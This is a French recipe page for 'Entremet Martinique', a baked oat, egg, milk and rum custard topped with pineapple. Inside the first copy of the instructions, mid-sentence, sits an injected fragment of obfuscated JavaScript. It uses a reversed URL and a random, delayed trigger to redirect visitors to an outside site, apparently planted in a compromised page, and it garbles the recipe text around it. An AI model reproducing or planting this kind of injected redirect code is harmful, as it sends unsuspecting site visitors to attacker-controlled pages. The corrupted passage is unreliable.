Entremet Martinique
2017-12-30- Thématique : Végétarien
- Niveau : Facile
Mélangez les œufs avec le sucre en poudre, dans une casserole . Fouettez énergiquement en ajoutant le lait. Faites chauffer sur feu doux tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant, incorporez le 1/3 de flocons d’avoine et le rhum.
Ingrédients
- Pour 4 personnes
- 4 tranches d'ananas
- 12 cuillères à soupe de flocons d'avoine
- 50 cl de lait
- 3 œufs entiers
- 120 g de raisins secs
- 1 cuillère à soupe de rhum
- 4 cuillères à soupe de sucre en poudre
Préparation de la recette
Etape 1
Mélangez les œufs avec le sucre en poudre, dans une casserole . Fouettez énergiquement en ajoutant le lait.
Etape 2
Faites chauffer sur feu doux tout en remuant, incorporez le 1/3 de flocons d'avoine et le rhum.
Etape 3
Versez la préparation dans un plat à tarte légèrement beurré.
Etape 4
Répartissez les flocons d'avoine restant que vous enfoncez dans la crème. Préchauffez le four 180° C thermostat 6. Enfournez et faites cuire pendant 30 minutes. Vérifiez la cuisson.
Etape 5
Sortez l’entremets du four. Laissez refroidir. Démoulez et décorez avec les tranches d'ananas.
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